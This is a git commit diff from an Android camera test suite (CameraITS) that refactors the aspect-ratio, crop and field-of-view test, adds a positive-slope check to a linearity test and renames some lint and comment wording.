Merge "Adjust timings in NetworkScanApiTest" into rvc-dev
diff --git a/apps/CameraITS/build/scripts/gpylint_rcfile b/apps/CameraITS/build/scripts/gpylint_rcfile
index f92c613..b9c16f4 100644
--- a/apps/CameraITS/build/scripts/gpylint_rcfile
+++ b/apps/CameraITS/build/scripts/gpylint_rcfile
@@ -318,7 +318,7 @@
 
 [MASTER]
 
-# Add files or directories to the blacklist. They should be base names, not
+# Add files or directories to the ignorelist. They should be base names, not
 # paths.
 ignore=CVS
 
diff --git a/apps/CameraITS/tests/scene1_1/test_linearity.py b/apps/CameraITS/tests/scene1_1/test_linearity.py
index e029ac7..f98f286 100644
--- a/apps/CameraITS/tests/scene1_1/test_linearity.py
+++ b/apps/CameraITS/tests/scene1_1/test_linearity.py
@@ -100,14 +100,16 @@
         pylab.ylabel('RGB avg [0, 1]')
         matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
 
-        # Check that each plot is actually linear.
+        # Check that each plot is linear with positive slope
         for means in [r_means, g_means, b_means]:
             line, residuals, _, _, _ = numpy.polyfit(range(len(sensitivities)),
                                                      means, 1, full=True)
             print 'Line: m=%f, b=%f, resid=%f'%(line[0], line[1], residuals[0])
-            msg = 'residual: %.5f, THRESH: %.4f' % (
+            e_msg = 'residual: %.5f, THRESH: %.4f' % (
                     residuals[0], RESIDUAL_THRESHOLD)
-            assert residuals[0] < RESIDUAL_THRESHOLD, msg
+            assert residuals[0] < RESIDUAL_THRESHOLD, e_msg
+            e_msg = 'slope %.6f less than 0!' % line[0]
+            assert line[0] > 0, e_msg
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index b4677c7..0a90712 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -64,7 +64,7 @@
     patch = 255 * its.cv2image.gray_scale_img(patch)
     patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
 
-    # sanity check on image
+    # validity check on image
     assert np.max(patch)-np.min(patch) > 255/8
 
     # save full images if in debug
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index c44575f..14e381c 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -1,4 +1,4 @@
-# Copyright 2015 The Android Open Source Project
+# Copyright 2015 The Android Open Source Project (lint as: python2)
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -22,10 +22,8 @@
 import its.objects
 import numpy as np
 
-FMT_ATOL = 0.01  # Absolute tolerance on format ratio
-AR_CHECKED = ["4:3", "16:9", "18:9"]  # Aspect ratios checked
 FOV_PERCENT_RTOL = 0.15  # Relative tolerance on circle FoV % to expected
-LARGE_SIZE = 2000   # Define the size of a large image
+LARGE_SIZE = 2000   # Define the size of a large image (compare against max(w,h))
 NAME = os.path.basename(__file__).split(".")[0]
 NUM_DISTORT_PARAMS = 5
 THRESH_L_AR = 0.02  # aspect ratio test threshold of large images
@@ -35,92 +33,177 @@
 THRESH_MIN_PIXEL = 4  # Crop test allowed offset
 PREVIEW_SIZE = (1920, 1080)  # preview size
 
+# Before API level 30, only resolutions with the following listed aspect ratio
+# are checked. Device launched after API level 30 will need to pass the test
+# for all advertised resolutions. Device launched before API level 30 just
+# needs to pass the test for all resolutions within these aspect ratios.
+AR_CHECKED_PRE_API_30 = ["4:3", "16:9", "18:9"]
+AR_DIFF_ATOL = 0.01
 
-def convert_ar_to_float(ar_string):
-    """Convert aspect ratio string into float.
+
+def print_failed_test_results(failed_ar, failed_fov, failed_crop):
+    """Print failed test results."""
+    if failed_ar:
+        print "\nAspect ratio test summary"
+        print "Images failed in the aspect ratio test:"
+        print "Aspect ratio value: width / height"
+        for fa in failed_ar:
+            print "%s with %s %dx%d: %.3f;" % (
+                    fa["fmt_iter"], fa["fmt_cmpr"],
+                    fa["w"], fa["h"], fa["ar"]),
+            print "valid range: %.3f ~ %.3f" % (
+                    fa["valid_range"][0], fa["valid_range"][1])
+
+    if failed_fov:
+        print "\nFoV test summary"
+        print "Images failed in the FoV test:"
+        for fov in failed_fov:
+            print fov
+
+    if failed_crop:
+        print "\nCrop test summary"
+        print "Images failed in the crop test:"
+        print "Circle center position, (horizontal x vertical), listed",
+        print "below is relative to the image center."
+        for fc in failed_crop:
+            print "%s with %s %dx%d: %.3f x %.3f;" % (
+                    fc["fmt_iter"], fc["fmt_cmpr"], fc["w"], fc["h"],
+                    fc["ct_hori"], fc["ct_vert"]),
+            print "valid horizontal range: %.3f ~ %.3f;" % (
+                    fc["valid_range_h"][0], fc["valid_range_h"][1]),
+            print "valid vertical range: %.3f ~ %.3f" % (
+                    fc["valid_range_v"][0], fc["valid_range_v"][1])
+
+
+def is_checked_aspect_ratio(first_api_level, w, h):
+    if first_api_level >= 30:
+        return True
+
+    for ar_check in AR_CHECKED_PRE_API_30:
+        match_ar_list = [float(x) for x in ar_check.split(":")]
+        match_ar = match_ar_list[0] / match_ar_list[1]
+        if np.isclose(float(w)/h, match_ar, atol=AR_DIFF_ATOL):
+            return True
+
+    return False
+
+def calc_expected_circle_image_ratio(ref_fov, img_w, img_h):
+    """Determine the circle image area ratio in percentage for a given image size.
 
     Args:
-        ar_string:  "4:3" or "16:9"
+        ref_fov:    dict with [fmt, % coverage, w, h, circle_w, circle_h]
+        img_w:      the image width
+        img_h:      the image height
+
     Returns:
-        float(ar_string)
+        chk_percent: the expected circle image area ratio in percentage
     """
-    ar_list = [float(x) for x in ar_string.split(":")]
-    return ar_list[0] / ar_list[1]
+
+    ar_ref = float(ref_fov["w"]) / ref_fov["h"]
+    ar_target = float(img_w) / img_h
+    # The cropping will happen either horizontally or vertically.
+    # In both case a crop results in the visble area reduce by a ratio r (r < 1.0)
+    # and the circle will in turn occupy ref_pct / r (percent) on the target
+    # image size.
+    r = ar_ref / ar_target
+    if r < 1.0:
+        r = 1.0 / r
+    return ref_fov["percent"] * r
 
 
-def determine_sensor_aspect_ratio(props):
-    """Determine the aspect ratio of the sensor.
+def find_raw_fov_reference(cam, req, props, debug):
+    """Determine the circle coverage of the image in RAW reference image.
 
     Args:
+        cam:        camera object
+        req:        camera request
         props:      camera properties
+        debug:      perform debug dump or not
+
     Returns:
-        matched entry in AR_CHECKED
+        ref_fov:         dict with [fmt, % coverage, w, h, circle_w, circle_h]
+        cc_ct_gt:        circle center position relative to the center of image.
+        aspect_ratio_gt: aspect ratio of the detected circle in float.
     """
-    match_ar = None
-    sensor_size = props["android.sensor.info.preCorrectionActiveArraySize"]
-    sensor_ar = (float(abs(sensor_size["right"] - sensor_size["left"])) /
-                 abs(sensor_size["bottom"] - sensor_size["top"]))
-    for ar_string in AR_CHECKED:
-        if np.isclose(sensor_ar, convert_ar_to_float(ar_string), atol=FMT_ATOL):
-            match_ar = ar_string
-    if not match_ar:
-        print "Warning! RAW aspect ratio not in:", AR_CHECKED
-    return match_ar
 
+    # Capture full-frame raw. Use its aspect ratio and circle center
+    # location as ground truth for the other jpeg or yuv images.
+    print "Creating references for fov_coverage from RAW"
+    out_surface = {"format": "raw"}
+    cap_raw = cam.do_capture(req, out_surface)
+    print "Captured %s %dx%d" % ("raw", cap_raw["width"],
+                                 cap_raw["height"])
+    img_raw = its.image.convert_capture_to_rgb_image(cap_raw,
+                                                     props=props)
 
-def aspect_ratio_scale_factors(ref_ar_string, props, raw_avlb):
-    """Determine scale factors for each aspect ratio to correct cropping.
+    # The intrinsics and distortion coefficients are meant for full
+    # size RAW, but convert_capture_to_rgb_image returns a 2x downsampled
+    # version, so resize back to full size here.
+    img_raw = cv2.resize(img_raw, (0, 0), fx=2.0, fy=2.0)
 
-    Args:
-        ref_ar_string:      camera aspect ratio that is the reference
-        props:              camera properties
-        raw_avlb:           bool; RAW available
-    Returns:
-        dict of correction ratios with AR_CHECKED values as keys
-    """
-    ref_ar = convert_ar_to_float(ref_ar_string)
+    # If the device supports lens distortion correction, apply the
+    # coefficients on the RAW image so it can be compared to YUV/JPEG
+    # outputs which are subject to the same correction via ISP.
+    if its.caps.distortion_correction(props):
+        # Intrinsic cal is of format: [f_x, f_y, c_x, c_y, s]
+        # [f_x, f_y] is the horizontal and vertical focal lengths,
+        # [c_x, c_y] is the position of the optical axis,
+        # and s is skew of sensor plane vs lens plane.
+        print "Applying intrinsic calibration and distortion params"
+        ical = np.array(props["android.lens.intrinsicCalibration"])
+        msg = "Cannot include lens distortion without intrinsic cal!"
+        assert len(ical) == 5, msg
+        sensor_h = props["android.sensor.info.physicalSize"]["height"]
+        sensor_w = props["android.sensor.info.physicalSize"]["width"]
+        pixel_h = props["android.sensor.info.pixelArraySize"]["height"]
+        pixel_w = props["android.sensor.info.pixelArraySize"]["width"]
+        fd = float(cap_raw["metadata"]["android.lens.focalLength"])
+        fd_w_pix = pixel_w * fd / sensor_w
+        fd_h_pix = pixel_h * fd / sensor_h
+        # transformation matrix
+        # k = [[f_x, s, c_x],
+        #      [0, f_y, c_y],
+        #      [0,   0,   1]]
+        k = np.array([[ical[0], ical[4], ical[2]],
+                      [0, ical[1], ical[3]],
+                      [0, 0, 1]])
+        print "k:", k
+        e_msg = "fd_w(pixels): %.2f\tcal[0](pixels): %.2f\tTOL=20%%" % (
+                fd_w_pix, ical[0])
+        assert np.isclose(fd_w_pix, ical[0], rtol=0.20), e_msg
+        e_msg = "fd_h(pixels): %.2f\tcal[1](pixels): %.2f\tTOL=20%%" % (
+                fd_h_pix, ical[0])
+        assert np.isclose(fd_h_pix, ical[1], rtol=0.20), e_msg
 
-    # find sensor area that is closest to 4:3 or 16:9
-    h_max = 0
-    w_max = 0
-    for ar_string in AR_CHECKED:
-        match_ar = [float(x) for x in ar_string.split(":")]
-        try:
-            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
-            h = f["height"]
-            w = f["width"]
-            if h > h_max:
-                h_max = h
-            if w > w_max:
-                w_max = w
-        except IndexError:
-            continue
-    if raw_avlb:
-        sensor_size = props["android.sensor.info.preCorrectionActiveArraySize"]
-        w_sensor = abs(sensor_size["right"] - sensor_size["left"])
-        h_sensor = abs(sensor_size["bottom"] - sensor_size["top"])
-        assert w_max <= w_sensor, "w_max: %d, w_sensor: %d" % (w_max, w_sensor)
-        assert h_max <= h_sensor, "h_max: %d, h_sensor: %d" % (h_max, h_sensor)
-    sensor_ar = float(w_max) / h_max
-
-    # apply scaling
-    ar_scaling = {}
-    for ar_string in AR_CHECKED:
-        target_ar = convert_ar_to_float(ar_string)
-        # scale down to sensor with greater (or equal) dims
-        if ref_ar >= sensor_ar:
-            scaling = sensor_ar / ref_ar
-        else:
-            scaling = ref_ar / sensor_ar
-
-        # scale up due to cropping to other format
-        if target_ar >= sensor_ar:
-            scaling = scaling * target_ar / sensor_ar
-        else:
-            scaling = scaling * sensor_ar / target_ar
-
-        ar_scaling[ar_string] = scaling
-    return ar_scaling
+        # distortion
+        rad_dist = props["android.lens.distortion"]
+        print "android.lens.distortion:", rad_dist
+        e_msg = "%s param(s) found. %d expected." % (len(rad_dist),
+                                                     NUM_DISTORT_PARAMS)
+        assert len(rad_dist) == NUM_DISTORT_PARAMS, e_msg
+        opencv_dist = np.array([rad_dist[0], rad_dist[1],
+                                rad_dist[3], rad_dist[4],
+                                rad_dist[2]])
+        print "dist:", opencv_dist
+        img_raw = cv2.undistort(img_raw, k, opencv_dist)
+    size_raw = img_raw.shape
+    w_raw = size_raw[1]
+    h_raw = size_raw[0]
+    img_name = "%s_%s_w%d_h%d.png" % (NAME, "raw", w_raw, h_raw)
+    its.image.write_image(img_raw, img_name, True)
+    aspect_ratio_gt, cc_ct_gt, circle_size_raw = measure_aspect_ratio(
+            img_raw, img_name, True, debug)
+    raw_fov_percent = calc_circle_image_ratio(
+            circle_size_raw[0], circle_size_raw[1], w_raw, h_raw)
+    ref_fov = {}
+    ref_fov["fmt"] = "RAW"
+    ref_fov["percent"] = raw_fov_percent
+    ref_fov["w"] = w_raw
+    ref_fov["h"] = h_raw
+    ref_fov["circle_w"] = circle_size_raw[0]
+    ref_fov["circle_h"] = circle_size_raw[1]
+    print "Using RAW reference:", ref_fov
+    return ref_fov, cc_ct_gt, aspect_ratio_gt
 
 
 def find_jpeg_fov_reference(cam, req, props):
@@ -132,44 +215,34 @@
         props:      camera properties
 
     Returns:
-        ref_fov:    dict with [fmt, % coverage, w, h]
+        ref_fov:    dict with [fmt, % coverage, w, h, circle_w, circle_h]
+        cc_ct_gt:   circle center position relative to the center of image.
     """
     ref_fov = {}
-    fmt_dict = {}
-
-    # find number of pixels in different formats
-    for ar in AR_CHECKED:
-        match_ar = [float(x) for x in ar.split(":")]
-        try:
-            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
-            fmt_dict[f["height"]*f["width"]] = {"fmt": f, "ar": ar}
-        except IndexError:
-            continue
-
-    # use image with largest coverage as reference
-    ar_max_pixels = max(fmt_dict, key=int)
-
+    fmt = its.objects.get_largest_jpeg_format(props)
     # capture and determine circle area in image
-    cap = cam.do_capture(req, fmt_dict[ar_max_pixels]["fmt"])
+    cap = cam.do_capture(req, fmt)
     w = cap["width"]
     h = cap["height"]
-    fmt = cap["format"]
 
     img = its.image.convert_capture_to_rgb_image(cap, props=props)
-    print "Captured %s %dx%d" % (fmt, w, h)
-    img_name = "%s_%s_w%d_h%d.png" % (NAME, fmt, w, h)
-    _, _, circle_size = measure_aspect_ratio(img, False, img_name, True)
-    fov_percent = calc_circle_image_ratio(circle_size[1], circle_size[0], w, h)
-    ref_fov["fmt"] = fmt_dict[ar_max_pixels]["ar"]
+    print "Captured JPEG %dx%d" % (w, h)
+    img_name = "%s_jpeg_w%d_h%d.png" % (NAME, w, h)
+    # Set debug to True to save the reference image
+    _, cc_ct_gt, circle_size = measure_aspect_ratio(img, img_name, False, debug=True)
+    fov_percent = calc_circle_image_ratio(circle_size[0], circle_size[1], w, h)
+    ref_fov["fmt"] = "JPEG"
     ref_fov["percent"] = fov_percent
     ref_fov["w"] = w
     ref_fov["h"] = h
+    ref_fov["circle_w"] = circle_size[0]
+    ref_fov["circle_h"] = circle_size[1]
     print "Using JPEG reference:", ref_fov
-    return ref_fov
+    return ref_fov, cc_ct_gt
 
 
 def calc_circle_image_ratio(circle_w, circle_h, image_w, image_h):
-    """Calculate the circle coverage of the image.
+    """Calculate the percent of area the input circle covers in input image.
 
     Args:
         circle_w (int):      width of circle
@@ -185,329 +258,14 @@
     return fov_percent
 
 
-def main():
-    """Test aspect ratio & check if images are cropped correctly for each fmt.
-
-    Aspect ratio test runs on level3, full and limited devices. Crop test only
-    runs on full and level3 devices.
-    The test image is a black circle inside a black square. When raw capture is
-    available, set the height vs. width ratio of the circle in the full-frame
-    raw as ground truth. Then compare with images of request combinations of
-    different formats ("jpeg" and "yuv") and sizes.
-    If raw capture is unavailable, take a picture of the test image right in
-    front to eliminate shooting angle effect. the height vs. width ratio for
-    the circle should be close to 1. Considering shooting position error, aspect
-    ratio greater than 1+THRESH_*_AR or less than 1-THRESH_*_AR will FAIL.
-    """
-    aspect_ratio_gt = 1  # ground truth
-    failed_ar = []  # streams failed the aspect ration test
-    failed_crop = []  # streams failed the crop test
-    failed_fov = []  # streams that fail FoV test
-    format_list = []  # format list for multiple capture objects.
-    # Do multi-capture of "iter" and "cmpr". Iterate through all the
-    # available sizes of "iter", and only use the size specified for "cmpr"
-    # Do single-capture to cover untouched sizes in multi-capture when needed.
-    format_list.append({"iter": "yuv", "iter_max": None,
-                        "cmpr": "yuv", "cmpr_size": PREVIEW_SIZE})
-    format_list.append({"iter": "yuv", "iter_max": PREVIEW_SIZE,
-                        "cmpr": "jpeg", "cmpr_size": None})
-    format_list.append({"iter": "yuv", "iter_max": PREVIEW_SIZE,
-                        "cmpr": "raw", "cmpr_size": None})
-    format_list.append({"iter": "jpeg", "iter_max": None,
-                        "cmpr": "raw", "cmpr_size": None})
-    format_list.append({"iter": "jpeg", "iter_max": None,
-                        "cmpr": "yuv", "cmpr_size": PREVIEW_SIZE})
-    ref_fov = {}
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        # determine skip conditions
-        first_api = its.device.get_first_api_level(its.device.get_device_id())
-        if first_api < 30:  # original constraint
-            its.caps.skip_unless(its.caps.read_3a(props))
-        else:  # loosen from read_3a to enable LIMITED coverage
-            its.caps.skip_unless(its.caps.ae_lock(props) and
-                                 its.caps.awb_lock(props))
-        # determine capabilities
-        full_device = its.caps.full_or_better(props)
-        level3_device = its.caps.level3(props)
-        raw_avlb = its.caps.raw16(props)
-        run_crop_test = (level3_device or full_device) and raw_avlb
-        if not run_crop_test:
-            print "Crop test skipped"
-        debug = its.caps.debug_mode()
-
-        # Converge 3A
-        cam.do_3a()
-        req = its.objects.auto_capture_request()
-
-        # If raw capture is available, use it as ground truth.
-        if raw_avlb:
-            # Capture full-frame raw. Use its aspect ratio and circle center
-            # location as ground truth for the other jpeg or yuv images.
-            print "Creating references for fov_coverage from RAW"
-            out_surface = {"format": "raw"}
-            cap_raw = cam.do_capture(req, out_surface)
-            print "Captured %s %dx%d" % ("raw", cap_raw["width"],
-                                         cap_raw["height"])
-            img_raw = its.image.convert_capture_to_rgb_image(cap_raw,
-                                                             props=props)
-            if its.caps.distortion_correction(props):
-                # The intrinsics and distortion coefficients are meant for full
-                # size RAW. Resize back to full size here.
-                img_raw = cv2.resize(img_raw, (0, 0), fx=2.0, fy=2.0)
-                # Intrinsic cal is of format: [f_x, f_y, c_x, c_y, s]
-                # [f_x, f_y] is the horizontal and vertical focal lengths,
-                # [c_x, c_y] is the position of the optical axis,
-                # and s is skew of sensor plane vs lens plane.
-                print "Applying intrinsic calibration and distortion params"
-                ical = np.array(props["android.lens.intrinsicCalibration"])
-                msg = "Cannot include lens distortion without intrinsic cal!"
-                assert len(ical) == 5, msg
-                sensor_h = props["android.sensor.info.physicalSize"]["height"]
-                sensor_w = props["android.sensor.info.physicalSize"]["width"]
-                pixel_h = props["android.sensor.info.pixelArraySize"]["height"]
-                pixel_w = props["android.sensor.info.pixelArraySize"]["width"]
-                fd = float(cap_raw["metadata"]["android.lens.focalLength"])
-                fd_w_pix = pixel_w * fd / sensor_w
-                fd_h_pix = pixel_h * fd / sensor_h
-                # transformation matrix
-                # k = [[f_x, s, c_x],
-                #      [0, f_y, c_y],
-                #      [0,   0,   1]]
-                k = np.array([[ical[0], ical[4], ical[2]],
-                              [0, ical[1], ical[3]],
-                              [0, 0, 1]])
-                print "k:", k
-                e_msg = "fd_w(pixels): %.2f\tcal[0](pixels): %.2f\tTOL=20%%" % (
-                        fd_w_pix, ical[0])
-                assert np.isclose(fd_w_pix, ical[0], rtol=0.20), e_msg
-                e_msg = "fd_h(pixels): %.2f\tcal[1](pixels): %.2f\tTOL=20%%" % (
-                        fd_h_pix, ical[0])
-                assert np.isclose(fd_h_pix, ical[1], rtol=0.20), e_msg
-
-                # distortion
-                rad_dist = props["android.lens.distortion"]
-                print "android.lens.distortion:", rad_dist
-                e_msg = "%s param(s) found. %d expected." % (len(rad_dist),
-                                                             NUM_DISTORT_PARAMS)
-                assert len(rad_dist) == NUM_DISTORT_PARAMS, e_msg
-                opencv_dist = np.array([rad_dist[0], rad_dist[1],
-                                        rad_dist[3], rad_dist[4],
-                                        rad_dist[2]])
-                print "dist:", opencv_dist
-                img_raw = cv2.undistort(img_raw, k, opencv_dist)
-            size_raw = img_raw.shape
-            w_raw = size_raw[1]
-            h_raw = size_raw[0]
-            img_name = "%s_%s_w%d_h%d.png" % (NAME, "raw", w_raw, h_raw)
-            its.image.write_image(img_raw, img_name, True)
-            aspect_ratio_gt, cc_ct_gt, circle_size_raw = measure_aspect_ratio(
-                    img_raw, raw_avlb, img_name, debug)
-            raw_fov_percent = calc_circle_image_ratio(
-                    circle_size_raw[1], circle_size_raw[0], w_raw, h_raw)
-            # Normalize the circle size to 1/4 of the image size, so that
-            # circle size won't affect the crop test result
-            factor_cp_thres = (min(size_raw[0:1])/4.0) / max(circle_size_raw)
-            thres_l_cp_test = THRESH_L_CP * factor_cp_thres
-            thres_xs_cp_test = THRESH_XS_CP * factor_cp_thres
-            # If RAW in AR_CHECKED, use it as reference
-            ref_fov["fmt"] = determine_sensor_aspect_ratio(props)
-            if ref_fov["fmt"]:
-                ref_fov["percent"] = raw_fov_percent
-                ref_fov["w"] = w_raw
-                ref_fov["h"] = h_raw
-                print "Using RAW reference:", ref_fov
-            else:
-                ref_fov = find_jpeg_fov_reference(cam, req, props)
-        else:
-            ref_fov = find_jpeg_fov_reference(cam, req, props)
-
-        # Determine scaling factors for AR calculations
-        ar_scaling = aspect_ratio_scale_factors(ref_fov["fmt"], props, raw_avlb)
-
-        # Take pictures of each settings with all the image sizes available.
-        for fmt in format_list:
-            fmt_iter = fmt["iter"]
-            fmt_cmpr = fmt["cmpr"]
-            dual_target = fmt_cmpr is not "none"
-            # Get the size of "cmpr"
-            if dual_target:
-                sizes = its.objects.get_available_output_sizes(
-                        fmt_cmpr, props, fmt["cmpr_size"])
-                if not sizes:  # device might not support RAW
-                    continue
-                size_cmpr = sizes[0]
-            for size_iter in its.objects.get_available_output_sizes(
-                    fmt_iter, props, fmt["iter_max"]):
-                w_iter = size_iter[0]
-                h_iter = size_iter[1]
-                # Skip testing same format/size combination
-                # ITS does not handle that properly now
-                if (dual_target
-                            and w_iter*h_iter == size_cmpr[0]*size_cmpr[1]
-                            and fmt_iter == fmt_cmpr):
-                    continue
-                out_surface = [{"width": w_iter,
-                                "height": h_iter,
-                                "format": fmt_iter}]
-                if dual_target:
-                    out_surface.append({"width": size_cmpr[0],
-                                        "height": size_cmpr[1],
-                                        "format": fmt_cmpr})
-                cap = cam.do_capture(req, out_surface)
-                if dual_target:
-                    frm_iter = cap[0]
-                else:
-                    frm_iter = cap
-                assert frm_iter["format"] == fmt_iter
-                assert frm_iter["width"] == w_iter
-                assert frm_iter["height"] == h_iter
-                print "Captured %s with %s %dx%d. Compared size: %dx%d" % (
-                        fmt_iter, fmt_cmpr, w_iter, h_iter, size_cmpr[0],
-                        size_cmpr[1])
-                img = its.image.convert_capture_to_rgb_image(frm_iter)
-                if its.caps.distortion_correction(props) and raw_avlb:
-                    w_scale = float(w_iter)/w_raw
-                    h_scale = float(h_iter)/h_raw
-                    k_scale = np.array([[ical[0]*w_scale, ical[4],
-                                         ical[2]*w_scale],
-                                        [0, ical[1]*h_scale, ical[3]*h_scale],
-                                        [0, 0, 1]])
-                    print "k_scale:", k_scale
-                    img = cv2.undistort(img, k_scale, opencv_dist)
-                img_name = "%s_%s_with_%s_w%d_h%d.png" % (NAME,
-                                                          fmt_iter, fmt_cmpr,
-                                                          w_iter, h_iter)
-                aspect_ratio, cc_ct, (cc_w, cc_h) = measure_aspect_ratio(
-                        img, raw_avlb, img_name, debug)
-                # check fov coverage for all fmts in AR_CHECKED
-                fov_percent = calc_circle_image_ratio(
-                        cc_w, cc_h, w_iter, h_iter)
-                for ar_check in AR_CHECKED:
-                    match_ar_list = [float(x) for x in ar_check.split(":")]
-                    match_ar = match_ar_list[0] / match_ar_list[1]
-                    if np.isclose(float(w_iter)/h_iter, match_ar,
-                                  atol=FMT_ATOL):
-                        # scale check value based on aspect ratio
-                        chk_percent = ref_fov["percent"] * ar_scaling[ar_check]
-                        if not np.isclose(fov_percent, chk_percent,
-                                          rtol=FOV_PERCENT_RTOL):
-                            msg = "FoV %%: %.2f, Ref FoV %%: %.2f, " % (
-                                    fov_percent, chk_percent)
-                            msg += "TOL=%.f%%, img: %dx%d, ref: %dx%d" % (
-                                    FOV_PERCENT_RTOL*100, w_iter, h_iter,
-                                    ref_fov["w"], ref_fov["h"])
-                            failed_fov.append(msg)
-                            its.image.write_image(img/255, img_name, True)
-                # check pass/fail for aspect ratio
-                # image size >= LARGE_SIZE: use THRESH_L_AR
-                # image size == 0 (extreme case): THRESH_XS_AR
-                # 0 < image size < LARGE_SIZE: scale between THRESH_XS_AR
-                # and THRESH_L_AR
-                thres_ar_test = max(
-                        THRESH_L_AR, THRESH_XS_AR + max(w_iter, h_iter) *
-                        (THRESH_L_AR-THRESH_XS_AR)/LARGE_SIZE)
-                thres_range_ar = (aspect_ratio_gt-thres_ar_test,
-                                  aspect_ratio_gt+thres_ar_test)
-                if (aspect_ratio < thres_range_ar[0] or
-                            aspect_ratio > thres_range_ar[1]):
-                    failed_ar.append({"fmt_iter": fmt_iter,
-                                      "fmt_cmpr": fmt_cmpr,
-                                      "w": w_iter, "h": h_iter,
-                                      "ar": aspect_ratio,
-                                      "valid_range": thres_range_ar})
-                    its.image.write_image(img/255, img_name, True)
-
-                # check pass/fail for crop
-                if run_crop_test:
-                    # image size >= LARGE_SIZE: use thres_l_cp_test
-                    # image size == 0 (extreme case): thres_xs_cp_test
-                    # 0 < image size < LARGE_SIZE: scale between
-                    # thres_xs_cp_test and thres_l_cp_test
-                    # Also, allow at least THRESH_MIN_PIXEL off to
-                    # prevent threshold being too tight for very
-                    # small circle
-                    thres_hori_cp_test = max(
-                            thres_l_cp_test, thres_xs_cp_test + w_iter *
-                            (thres_l_cp_test-thres_xs_cp_test)/LARGE_SIZE)
-                    min_threshold_h = THRESH_MIN_PIXEL / cc_w
-                    thres_hori_cp_test = max(thres_hori_cp_test,
-                                             min_threshold_h)
-                    thres_range_h_cp = (cc_ct_gt["hori"]-thres_hori_cp_test,
-                                        cc_ct_gt["hori"]+thres_hori_cp_test)
-                    thres_vert_cp_test = max(
-                            thres_l_cp_test, thres_xs_cp_test + h_iter *
-                            (thres_l_cp_test-thres_xs_cp_test)/LARGE_SIZE)
-                    min_threshold_v = THRESH_MIN_PIXEL / cc_h
-                    thres_vert_cp_test = max(thres_vert_cp_test,
-                                             min_threshold_v)
-                    thres_range_v_cp = (cc_ct_gt["vert"]-thres_vert_cp_test,
-                                        cc_ct_gt["vert"]+thres_vert_cp_test)
-                    if (cc_ct["hori"] < thres_range_h_cp[0]
-                                or cc_ct["hori"] > thres_range_h_cp[1]
-                                or cc_ct["vert"] < thres_range_v_cp[0]
-                                or cc_ct["vert"] > thres_range_v_cp[1]):
-                        failed_crop.append({"fmt_iter": fmt_iter,
-                                            "fmt_cmpr": fmt_cmpr,
-                                            "w": w_iter, "h": h_iter,
-                                            "ct_hori": cc_ct["hori"],
-                                            "ct_vert": cc_ct["vert"],
-                                            "valid_range_h": thres_range_h_cp,
-                                            "valid_range_v": thres_range_v_cp})
-                        its.image.write_image(img/255, img_name, True)
-
-        # Print aspect ratio test results
-        failed_image_number_for_aspect_ratio_test = len(failed_ar)
-        if failed_image_number_for_aspect_ratio_test > 0:
-            print "\nAspect ratio test summary"
-            print "Images failed in the aspect ratio test:"
-            print "Aspect ratio value: width / height"
-            for fa in failed_ar:
-                print "%s with %s %dx%d: %.3f;" % (
-                        fa["fmt_iter"], fa["fmt_cmpr"],
-                        fa["w"], fa["h"], fa["ar"]),
-                print "valid range: %.3f ~ %.3f" % (
-                        fa["valid_range"][0], fa["valid_range"][1])
-
-        # Print FoV test results
-        failed_image_number_for_fov_test = len(failed_fov)
-        if failed_image_number_for_fov_test > 0:
-            print "\nFoV test summary"
-            print "Images failed in the FoV test:"
-            for fov in failed_fov:
-                print fov
-
-        # Print crop test results
-        failed_image_number_for_crop_test = len(failed_crop)
-        if failed_image_number_for_crop_test > 0:
-            print "\nCrop test summary"
-            print "Images failed in the crop test:"
-            print "Circle center position, (horizontal x vertical), listed",
-            print "below is relative to the image center."
-            for fc in failed_crop:
-                print "%s with %s %dx%d: %.3f x %.3f;" % (
-                        fc["fmt_iter"], fc["fmt_cmpr"], fc["w"], fc["h"],
-                        fc["ct_hori"], fc["ct_vert"]),
-                print "valid horizontal range: %.3f ~ %.3f;" % (
-                        fc["valid_range_h"][0], fc["valid_range_h"][1]),
-                print "valid vertical range: %.3f ~ %.3f" % (
-                        fc["valid_range_v"][0], fc["valid_range_v"][1])
-
-        assert failed_image_number_for_aspect_ratio_test == 0
-        assert failed_image_number_for_fov_test == 0
-        if level3_device:
-            assert failed_image_number_for_crop_test == 0
-
-
-def measure_aspect_ratio(img, raw_avlb, img_name, debug):
+def measure_aspect_ratio(img, img_name, raw_avlb, debug):
     """Measure the aspect ratio of the black circle in the test image.
 
     Args:
         img: Numpy float image array in RGB, with pixel values in [0,1].
+        img_name: string with image info of format and size.
         raw_avlb: True: raw capture is available; False: raw capture is not
              available.
-        img_name: string with image info of format and size.
         debug: boolean for whether in debug mode.
     Returns:
         aspect_ratio: aspect ratio number in float.
@@ -531,6 +289,9 @@
     elif cv2_version.startswith("3.2."):
         _, contours, hierarchy = cv2.findContours(255-img_bw, cv2.RETR_TREE,
                                                   cv2.CHAIN_APPROX_SIMPLE)
+    else:  # OpenCV 4.2
+        contours, hierarchy = cv2.findContours(255-img_bw, cv2.RETR_TREE,
+                                               cv2.CHAIN_APPROX_SIMPLE)
 
     # Check each component and find the black circle
     min_cmpt = size[0] * size[1] * 0.005
@@ -558,7 +319,7 @@
         # 3. Child"s width > 0.1*Image width
         # 4. Child"s height > 0.1*Image height
         # 5. 0.25*Parent"s area < Child"s area < 0.45*Parent"s area
-        # 6. Child is a black, and Parent is white
+        # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
         if (prt_shape["width"] * 0.56 < child_shape["width"]
                     < prt_shape["width"] * 0.76
@@ -650,5 +411,265 @@
     return aspect_ratio, cc_ct, (circle_w, circle_h)
 
 
+def main():
